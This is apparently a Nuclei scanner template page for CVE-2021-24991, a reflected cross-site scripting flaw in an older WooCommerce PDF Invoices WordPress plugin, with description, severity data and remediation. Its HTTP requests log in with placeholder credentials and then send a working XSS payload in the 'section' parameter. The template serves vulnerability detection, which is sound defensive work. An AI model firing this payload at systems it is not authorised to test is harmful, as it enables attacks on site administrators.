WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting

ID: CVE-2021-24991

Severity: medium

Author: cckuailong

Tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan,wpovernight

Description

The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard.

YAML Source

id: CVE-2021-24991

info:
  name: WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard.
  impact: |
    An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WooCommerce PDF Invoices & Packing Slips WordPress Plugin (2.10.5 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/88e706df-ae03-4665-94a3-db226e1f31a9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24991
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-24991
    cwe-id: CWE-79
    epss-score: 0.00069
    epss-percentile: 0.28508
    cpe: cpe:2.3:a:wpovernight:woocommerce_pdf_invoices\&_packing_slips:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpovernight
    product: woocommerce_pdf_invoices\&_packing_slips
    framework: wordpress
  tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan,wpovernight

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "WooCommerce PDF Invoices"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ac371d39b324cbc7d4655806c6b6d0ed2548788f92650f02df73a0fc438ca4ad0221009b538c0374e4dfad45e4b79ed1479c5289620d5d4d71915a3bfdaa636a469755:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24991.yaml"

View on Github